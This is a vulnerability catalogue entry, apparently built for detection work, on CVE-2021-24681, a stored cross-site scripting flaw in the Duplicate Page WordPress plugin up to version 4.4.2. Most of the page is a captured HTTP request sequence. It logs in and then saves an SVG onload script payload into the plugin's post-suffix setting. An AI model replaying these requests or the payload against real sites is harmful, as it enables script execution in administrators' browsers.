🔙 목록으로 돌아가기

CVE-2021-24681: Duplicate Page WordPress - Stored Cross-Site Scripting

TitleDuplicate Page WordPress - Stored Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactAttackers can execute malicious scripts in the context of the site, potentially leading to session hijacking or defacement.
RemediationUpdate to the latest version of the plugin where the issue is fixed.
CVSS Score4.8
EPSS Score0.00681
CVE IDCVE-2021-24681
CWE IDCWE-79
Tags wpscan cve cve2021 wordpress wp wp-plugin duplicate-page xss vuln

🔍 Vulnerability Description

Duplicate Page WordPress plugin <= 4.4.2 contains a stored cross-site scripting caused by unsanitized Duplicate Post Suffix settings in output, letting high privilege users execute malicious scripts, exploit requires high privilege user role.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=PzO1D1&pwd=5lCHg4&wp-submit=Log+In
GET /wp-admin/options-general.php?page=duplicate_page_settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-admin/options-general.php?page=duplicate_page_settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/6.0
Connection: close
Content-Length: 283
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

duplicatepage_nonce_field=tW0NUv&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dduplicate_page_settings&duplicate_post_status=draft&duplicate_post_redirect=to_list&duplicate_post_suffix="><svg/onload=alert(document.domain)>&submit_duplicate_page=Save+Changes
GET /wp-admin/options-general.php?page=duplicate_page_settings&msg=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.20
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24681.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24681.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A